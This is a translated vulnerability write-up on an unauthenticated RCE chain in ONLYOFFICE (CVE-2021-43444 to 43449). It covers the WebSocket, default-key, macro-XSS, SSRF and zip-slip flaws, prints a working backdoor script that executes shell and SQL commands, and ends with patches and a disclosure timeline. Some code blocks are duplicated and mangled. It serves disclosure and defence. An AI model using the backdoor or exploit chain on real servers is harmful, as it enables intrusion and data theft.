CVE-2021-43444 到 43449:利用 ONLYOFFICE Web 套接字进行未经身份验证的远程代码执行
2023-1-4 21:32:0 Author: xz.aliyun.com(查看原文) 阅读量:12 收藏

下载 PwnlyOffice

GitHub: https ://github.com/nettitude/pwnlyoffice

背景

大约 18 个月前,我正在对一个文档管理平台进行渗透测试。它的设计目标是为一些高影响力的用例提供安全的文档存储和共享解决方案。为了实现类似于 MS Office 的文档编辑,系统使用 ONLYOFFICE 作为插件,从而获得流畅可靠的编辑体验。

不过我很好奇。对于进行加密的 Web 应用程序,在什么时候,加密文档会以未加密状态在浏览器中呈现?我决定深入研究编辑器本身,弄清楚它在后台做了什么。事实证明,客户端 Web 应用程序正在以客户端代码可以解析到文档编辑器中的内部格式从 Web 应用程序请求数据。我无法在任何离线文档编辑器中轻松打开该数据,但从它所具有的明显非随机字符系列来看,它似乎没有被加密。

因此,尽管这个文档管理器是静态加密,但解密和处理这些文档的密钥可能在各个组件之间传递,以便在后端处理这些文档。虽然文档管理系统的安全性存在问题,但我想更深入地了解 OnlyOffice 组件。这可以被进一步利用吗?

下载此内部编辑器数据的 URL 使用 MD5 签名。这意味着在某些时候,应用程序必须向用户代理提供该 URL 才能下载它。测试会话控制发现 URL 签名是唯一实施的访问控制。这意味着如果知道该 URL,任何人都可以下载未加密的文档。

该 URL 是通过编辑器在整个文档编辑过程中创建和维护的 WebSocket 连接提供的。我一直在跟踪身份验证流程。浏览器如何使用该 WebSocket 进行身份验证?通常,当应用程序与 Web 服务器建立 WebSocket 连接时,它首先向已知的 WebSocket 端点发出经过身份验证的 HTTP 请求并请求升级(根据RFC 6455)。如果身份验证有效,则 Web 服务器以HTTP 101 Switching Protocols响应消息进行响应,例如

REQUEST:

User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Sec-WebSocket-Version: 13

Sec-WebSocket-Key: L9so59gHCxrpsnU4SPOsbw==

Connection: keep-alive, Upgrade

Cookie: sessionid=4795fab306588141e027f642b63debfb

GET /websocket HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 Accept: */* Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Sec-WebSocket-Version: 13 Origin: http://localhost Sec-WebSocket-Key: L9so59gHCxrpsnU4SPOsbw== Connection: keep-alive, Upgrade Cookie: sessionid=4795fab306588141e027f642b63debfb Pragma: no-cache Cache-Control: no-cache Upgrade: websocket

GET /websocket HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://localhost
Sec-WebSocket-Key: L9so59gHCxrpsnU4SPOsbw==
Connection: keep-alive, Upgrade
Cookie: sessionid=4795fab306588141e027f642b63debfb
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

Response:

HTTP/1.1 101 Switching Protocols

Date: Fri, 07 Jan 2022 17:32:04 GMT

Sec-WebSocket-Accept: uKmC7JGNT7wAZhZFtiSO5nvf1A8=

HTTP/1.1 101 Switching Protocols Server: nginx/1.21.3 Date: Fri, 07 Jan 2022 17:32:04 GMT Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: uKmC7JGNT7wAZhZFtiSO5nvf1A8=

HTTP/1.1 101 Switching Protocols
Server: nginx/1.21.3
Date: Fri, 07 Jan 2022 17:32:04 GMT
Connection: upgrade
Upgrade: websocket
Sec-WebSocket-Accept: uKmC7JGNT7wAZhZFtiSO5nvf1A8=

通过对打开请求中的各种标头进行试验,我发现 Web 服务器很乐意升级任何传入的升级请求,无论它是否具有会话 cookie——即 OnlyOffice WebSocket 完全未经身份验证。

我们可以利用它吗?我们还需要哪些其他信息才能下载文档?再次尝试客户端的升级请求和 WebSocket 端点的各种组件,发现只需要文档标识符。此问题的可利用性完全取决于 OnlyOffice 的实施方式。文档 ID 可能是一个受保护的秘密,或者它可能会泄漏到像referer标题这样简单的东西中。我正在寻找一种将其武器化的方法。

在系统的其他地方,我已经确定了一种反映跨站点脚本负载的方法。这可用于在经过身份验证的用户的上下文中抓取各种文档列表页面的内容,并将文档名称和标识符发送回恶意服务器。此时攻击者需要做的就是选择一个有趣的文档名称并直接连接到该文档的 WebSocket 端点,以下载 WebSocket 回复的签名 URL 中引用的文档数据。

就那次渗透测试来说,对整个系统的安全态势做出一个判断还是比较满意的,也就是在可用的时间范围内可以排查的内容了。不过,OnlyOffice 激起了我的兴趣。我决定再深入讨论一下,看看这是一个实施问题还是更普遍的问题。

Pulling at the Thread

由于原始文档管理应用程序现在超出了范围,我需要另一个测试平台,它使用 OnlyOffice 作为其自身身份验证模型下的编辑模块。我很快找到了 OnlyOffice 创建的 Docker compose 配置,用于将 OnlyOffice 实现为 Nextcloud 文档管理系统的编辑器。通过对原始脚本进行一些调整downloaddoc.py,我能够通过 OnlyOffice 从 Nextcloud 中提取文档。您还可以通过 WebSocket 端点做什么?

我研究了文档编辑器的功能,发现基本上对文档执行的所有操作都是通过 WebSocket 消息完成的,甚至包括光标在页面上的位置。我寻找了一些有趣的功能,发现 OnlyOffice 文档编辑器具有自己的内置聊天客户端,因此您可以在处理您正在查看的文档时与其他人聊天。这非常酷,但如果我们可以连接到未经身份验证的 WebSocket,它如何知道在聊天消息中显示什么名称?很简单,它取自发送到 WebSocket 的第一条消息,键入“auth”。

连接时更改该值,此后的任何操作都以您选择的任何名称完成。在这一点上,我决定将逻辑downloaddoc.py放入通用的 OnlyOffice 漏洞利用工具中是值得的。我想象地称这个工具为pwnlyoffice


GitHub: https ://github.com/nettitude/pwnlyoffice

让我们看看pwnlyoffice当有人已经在编辑它的已知文档 ID 上使用“chat”命令时,它看起来如何……

在用户界面中……

OnlyOffice 确实具有针对这种与其 WebSocket 端点的未经身份验证的连接的保护功能,但默认情况下它们未启用。JWT 签名是可能的,但是,默认情况下签名密钥也是“秘密”一词。这意味着即使启用了 JWT 签名,除非更改默认密钥,否则连接到未经身份验证的 WebSocket 仍然是微不足道的。我查看了其他哪些加密签名可能依赖于弱默认密钥的地方,实际上,编辑器从中下载的 MD5 签名 URL 是使用默认字符串“verysecretstring”签名的。这意味着使用已知的文档 ID,我可以直接从服务器下载,甚至不需要连接到 WebSocket。

升级权限

这一切都很有趣,但是当我们瞄准一个组织时,我们通常会寻找更多的立足点,而不是简单地对他们进行社会工程。我们需要的是一种从 OnlyOffice 文档编辑器转向更广泛的文档管理服务(在本例中为 NextCloud)的方法。NextCloud 模块部署在与 NextCloud 本身相同的源中,因此希望一个好的突破方法将涉及在 OnlyOffice 中找到可以针对 NextCloud 执行的跨站点脚本。我不必看得很远。

OnlyOffice 文档编辑器功能齐全。它的目标是成为 MS Office 产品的替代品,并且做得很好。事实上,甚至我认为最好保留在 MS Office 中的一些功能也已进入 OnlyOffice,尤其是宏。然而,与 MS Office 不同的是,OnlyOffice 不会尝试包含 VBA 解析器以实现向后兼容性。OnlyOffice 宏是用 JavaScript 实现的,打开宏编辑器时创建的存根函数可以看出这一点。

太好了,所以现在我们可能正在寻找某种沙箱逃逸,它可以让我们进入 NextCloud 范围内的任意 JS 执行,对吧?不,这是执行宏的代码:

DocumentMacros.prototype.run = function(sGuid)

var obj = JSON.parse(this.Data);

for (var i = 0; i < obj["macrosArray"].length; i++)

if (sGuid === obj["macrosArray"][i]["guid"])

var script = "(function(){ var Api = window.g_asc_plugins.api;\n" + obj["macrosArray"][i]["value"] + "\n})();";

CDocumentMacros.prototype.run = function(sGuid) { try { var obj = JSON.parse(this.Data); if (!obj["macrosArray"]) return; for (var i = 0; i < obj["macrosArray"].length; i++) { if (sGuid === obj["macrosArray"][i]["guid"]) { var script = "(function(){ var Api = window.g_asc_plugins.api;\n" + obj["macrosArray"][i]["value"] + "\n})();"; eval(script); break; } } } catch (err) { } };

CDocumentMacros.prototype.run = function(sGuid)
{
   try
   {
      var obj = JSON.parse(this.Data);
      if (!obj["macrosArray"])
         return;

      for (var i = 0; i < obj["macrosArray"].length; i++)
      {
         if (sGuid === obj["macrosArray"][i]["guid"])
         {
            var script = "(function(){ var Api = window.g_asc_plugins.api;\n" + obj["macrosArray"][i]["value"] + "\n})();";
            eval(script);
            break;
         }
      }
   }
   catch (err)
   {
   }
};

是的,只是eval()浏览器中的宏,因为对文档的所有操作都是通过 WebSocket 完成的,如果我们知道文档 ID,我们可以直接将一些 JavaScript 注入该文档,以便在有人打开它时自动运行。在弄清楚宏是如何编码后,我将此功能添加到pwnlyoffice

加载文档后:

这样就可以了。让我们用它来获得 NextCloud 的管理员权限。在 NextCloud 中,您必须确认密码才能执行管理操作,但是确认密码的 HTTP 请求实际上与您确认的管理操作是分开的,并且仅当您在过去 30 分钟内未确认密码时才需要. 因此,如果您像我一样正在编写恶意管理员操作脚本,则可以避免此步骤,并通过发布到相关 URL 在后台无形地创建管理员。在创建步骤之前需要一个额外的步骤来获取 CSRF 令牌。

在用户管理区域,我们的管理员为我们创建:

利用文档转换器

现在我们取得了进展,如果我们知道文档 ID,我们就可以对文档中毒,然后在目标的文档管理系统上获得管理员权限。尽管如此,我们仍然需要知道文档 ID,而且这些 ID 往往很难猜测。WebSocket 还能让我们做什么?我注意到,当您在正常连接中连接到 WebSocket 时,文档服务器会提供一个用于原始文档位置的签名 URL。我们能用它做什么?

如您所料,这会调用、下载然后转换您提供的任何 URL。因此,在我针对 Burp Collaborator 的早期实验中,我的文档服务器很快就被包含我的协作者 URL 提供的单个随机字符串的文档填满了。不仅仅是处理文档格式,OnlyOffice 内部的转换器可以理解和转换各种文档格式。因此,我们有一个服务器端请求伪造方法,可以获取任何内部 URL 并以任何格式为我们呈现内容。以云中的 OnlyOffice 实例为目标?试着打http://169.254.169.254一些凭据的元数据服务,看看你是否可以做一些横向移动!扫描本地托管实例的内部网络,看看是否有任何未经身份验证的 wiki 漂浮。SSRF 极大地改变了范围。

能够转换任何我们喜欢的URL,不仅仅意味着能够访问以前不可用的资源,还意味着我们可以强制服务器从我们自己的资源中下载。是否可以创建对服务器有恶意的某种格式的文档?

处理文档解析时的典型弱点是:

  1. 解析内部 MS Office XML 中的 XXE
  2. 提取 MS Office 数据时的路径遍历(“Zip slip”)
  3. SSRF 将 HTML 渲染为 PDF 或图像

我按照文档转换器的源代码了解它如何处理各种格式,并且花了很多时间确定代码的 MS Office 格式部分中存在路径遍历漏洞,我发现这已经在2020.

在 ONLYOFFICE Document Server 5.5.0 中发现了一个问题。攻击者可以制作一个恶意的 .docx 文件,并利用解压缩功能重写二进制文件并在受害者的服务器上远程执行代码。

任意文件写入

总是先做一些研究!令人惊讶的是,看起来并没有太多尝试来纠正此漏洞。它的核心是一个相当经典的路径遍历缺陷。MS Office 格式(2007 年之后)只是具有标准文件结构的 zip 文件,其中包含 XML 文件和嵌入的任何其他内容,例如图像。OnlyOffice 使用的文档转换器转换 MS Office 文件并将其解压缩到一个临时位置,将其中的任何文件写出到与该临时目录相关的位置。转换完成后,临时目录将被删除,但关键是如果 zip 中的文件具有路径遍历字符 ( ../),这些字符可用于写入文档服务器上 Web 服务器可写的任何位置。

我通过获取一个合法的 DOCX 文件并向其中添加一个路径为../../../../../../../../../../tmp/test. 我将其托管在本地网络服务器上,然后提示文档服务器通过未经身份验证的 WebSocket 下载它。果然,跳进运行文件服务器的Docker容器,里面有文件测试,坐在/tmp/.

利用代码执行

现在要利用这一点。我认为利用远程代码执行的一个很好的方法是为文档转换器工具设置后门,这样所有的命令和控制流量都可以简单地流过我们已经使用的同一个 WebSocket 通道。这包括额外的好处,即它似乎没有记录 WebSocket 消息。我查看了文档转换器,以及它的核心二进制文件,称为x2t. 由于某种原因,在文档转换期间无法覆盖x2t自身,因此在文档服务器的 Docker 容器内,我列举了x2t使用的动态库,或者更具体地说,它正在搜索哪些二进制文件,但在我可以找到的位置找不到使用路径遍历漏洞写入:

strace ./x2t 2>&1 | grep "No such" | grep -o "[^ ]\+\.so"

strace ./x2t 2>&1 | grep "No such" | grep -o "[^ ]\+\.so"

strace ./x2t 2>&1 | grep "No such" | grep -o "[^ ]\+\.so"

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/haswell/x86_64/libgraphics.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/haswell/libgraphics.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/x86_64/libgraphics.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/libgraphics.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/haswell/x86_64/libgraphics.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/haswell/libgraphics.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/x86_64/libgraphics.so

*"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/haswell/x86_64/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/haswell/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/x86_64/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/haswell/x86_64/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/haswell/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/x86_64/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/libpthread.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libm.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libc.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libgcc_s.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libdl.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libdl.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libstdc++.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libstdc++.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/haswell/x86_64/libgraphics.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/haswell/libgraphics.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/x86_64/libgraphics.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/libgraphics.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/haswell/x86_64/libgraphics.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/haswell/libgraphics.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/x86_64/libgraphics.so *"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/haswell/x86_64/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/haswell/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/x86_64/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/haswell/x86_64/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/haswell/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/x86_64/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/libpthread.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libm.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libc.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libgcc_s.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libdl.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libdl.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libstdc++.so "/var/www/onlyoffice/documentserver/server/FileConverter/bin/libstdc++.so

"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/haswell/x86_64/libgraphics.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/haswell/libgraphics.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/x86_64/libgraphics.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/tls/libgraphics.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/haswell/x86_64/libgraphics.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/haswell/libgraphics.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/x86_64/libgraphics.so
*"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/haswell/x86_64/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/haswell/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/x86_64/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/tls/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/haswell/x86_64/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/haswell/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/x86_64/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/system/libpthread.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libm.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libc.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libgcc_s.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libdl.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libdl.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libstdc++.so
"/var/www/onlyoffice/documentserver/server/FileConverter/bin/libstdc++.so

幸运的是,FileConverter/binWeb 服务用户可以写入该目录。我选择libpthread.so作为一个文件来创建并使用 MSF Venom 创建一个简单的.so负载,它复制了一个脚本x2t。这是与后门脚本一起打包的(还有一个备份版本,x2t只是为了在出现任何问题时不完全破坏服务器)。

后门脚本本身从文档转换任务中获取标题参数,检查它是否有正确的密码,然后将字符串的其余部分作为 bash 命令执行。命令的输出随后被交换到文档转换作业的输入中,这样如果我们要下载转换作业后生成的签名 URL,它将包含我们命令的输出。

我意识到 SQL shell 也可以很方便地列出文档 ID,所以我也添加了它。

# Overwritten for a binary then calls the original binary

title\=$(grep -o "<m_sTitle>.*</m_sTitle>" $1 | cut -d\> -f 2- | rev | cut -d \< -f 2- | rev | sed 's/ / /g; s/&/\&/g; s/</\</g; s/>/\>/g; s/"/\"/g; s/#'/\'"'"'/g; s/“/\"/g; s/”/\"/g;')

# Get tmp input file path

infile\=$(grep -o "<m_sFileFrom>.*</m_sFileFrom>" $1 | cut -d\> -f 2- | rev | cut -d \< -f 2- | rev)

# echo $title >> /tmp/out

# echo $infile >> /tmp/out

# Test to see if this is a backdoor command

cmdtype\=$(echo $title | cut -d: -f 1)

password\=$(echo $title | cut -d: -f 2)

cmd\=$(echo $title | cut -d: -f 3-)

if [[ $password == {PASSWORD} ]]; then

# echo "Command: $cmd" >> /tmp/out

psql postgresql://onlyoffice:[email protected]/onlyoffice -o $infile -c "$cmd"

# cat $infile >> /tmp/out

# Get dir this is executed in

SCRIPT_DIR\="$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"

# echo $SCRIPT_DIR >> /tmp/out

# Delete shelled .so file if it exists

SOFILE\=$SCRIPT_DIR/libpthread.so.0

if [[ -f "$SOFILE" ]]; then

# Call original bin with original arguments

#!/usr/bin/env bash

# Overwritten for a binary then calls the original binary

# Get title
title=$(grep -o "<m_sTitle>.*</m_sTitle>" $1 | cut -d\> -f 2- | rev | cut -d \< -f 2- | rev | sed 's/ / /g; s/&/\&/g; s/</\</g; s/>/\>/g; s/"/\"/g; s/#'/\'"'"'/g; s/“/\"/g; s/”/\"/g;')

# Get tmp input file path
infile=$(grep -o "<m_sFileFrom>.*</m_sFileFrom>" $1 | cut -d\> -f 2- | rev | cut -d \< -f 2- | rev)
# cat $1 > /tmp/out
# echo $title >> /tmp/out
# echo $infile >> /tmp/out

# Test to see if this is a backdoor command
cmdtype=$(echo $title | cut -d: -f 1)
password=$(echo $title | cut -d: -f 2)
cmd=$(echo $title | cut -d: -f 3-)

if [[ $password == {PASSWORD} ]]; then
  # echo "Command: $cmd" >> /tmp/out
  case $cmdtype in
  "SHELL")
    eval $cmd > $infile
    ;;
  "SQL")
    psql postgresql://onlyoffice:[email protected]/onlyoffice -o $infile -c "$cmd"
    ;;
  esac
  # cat $infile >> /tmp/out
fi

# Get dir this is executed in
SCRIPT_DIR="$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd )"
# echo $SCRIPT_DIR >> /tmp/out

# Delete shelled .so file if it exists
SOFILE=$SCRIPT_DIR/libpthread.so.0
if [[ -f "$SOFILE" ]]; then
  rm $SOFILE
fi

# Call original bin with original arguments
$SCRIPT_DIR/x2t.new [email protected]

总结:未经身份验证的远程代码执行

因此,完整的漏洞利用链如下:

  1. 无需身份验证即可连接到 WebSocket
  2. 请求服务器下载并转换我们托管的文档
  3. 该文档使用路径遍历将 Linux 二进制文件写入已知路径
  4. 加载并执行二进制文件,在文档转换器中安装后门
  5. 然后调用包含正确关键字和参数的文档转换器作为系统命令执行

以下是pwnlyoffice.

和 SQL shell,用于提取有效文档 ID 列表:

下载 PwnlyOffice


GitHub: https ://github.com/nettitude/pwnlyoffice

分配的 CVE

这项研究总共产生了 6 个 CVE:

  1. CVE-2021-43447:未经身份验证的 Websocket
  2. CVE-2021-43445:默认 JWT 签名密钥
  3. CVE-2021-43444:默认下载 URL 签名密钥
  4. CVE-2021-43448:网络套接字篡改(例如用户名)
  5. CVE-2021-43446:宏中的 XSS
  6. CVE-2021-43449:“auth”websocket 命令中的 SSRF

此外,我用 NextCloud 的 HackerOne 程序记录了一个错误报告,该程序涉及在不提供有效管理员密码的情况下创建新管理员的能力,但是 30 分钟的窗口,您可以在不提供密码的情况下执行管理员操作,这被认为是功能故意的。

补丁

如果可能,请更新到 OnlyOffice 7.2 版。

如果由于任何原因无法升级,您将需要按以下方式缓解这些漏洞:

  1. 启用 JWT 签名的 WebSocket 命令并确保使用随机生成的长密钥:https ://api.onlyoffice.com/editors/signature/
  2. 为下载 URL 签名设置一个随机生成的长密钥:https ://api.onlyoffice.com/editors/nextcloud
  3. 禁用宏插件:https ://api.onlyoffice.com/editors/config/editor/customization#macros
  4. 禁用“聊天”插件:https ://api.onlyoffice.com/editors/config/editor/customization#chat
  5. 确保 OnlyOffice 文档服务器在网络层与所有其他非必要系统隔离。即文档服务器不应该能够调用外部互联网,或者对预期的文档管理系统以外的任何东西进行内部调用。169.254.169.254如果您在云环境中托管 OnlyOffice,它尤其应该无法联系 IP 地址。
  6. 对于所有 OnlyOffice 容器,确保运行 Web 服务的用户(例如 ds)只能写入临时文件夹。特别是,确保它不能写入/var/www/onlyoffice,或者您的文档服务器安装的任何地方。
  7. 不允许将不受信任的文档直接插入 OnlyOffice,例如通过公开可用的文档上传门户。

时间线

  • 2020-09-24:OnlyOffice初识
  • 2021-10-05:OnlyOffice研究
  • 2021-10-18:向 OnlyOffice 披露漏洞
  • 2021-11-18:使用 MITRE 申请 6 个 CVE
  • 2021-12-17:分配了 6 个 CVE
  • 2022-01-07:为自动化未经验证的 RCE 生成 PoC
  • 2022-09-26:版本 7.2 中发布的修复

转至:https://labs-nettitude-com.translate.goog/blog/exploiting-onlyoffice-web-sockets-for-unauthenticated-remote-code-execution/?_x_tr_sl=auto&_x_tr_tl=zh-CN&_x_tr_hl=zh-CN


文章来源: https://xz.aliyun.com/t/12008
如有侵权请联系:admin#unsafe.sh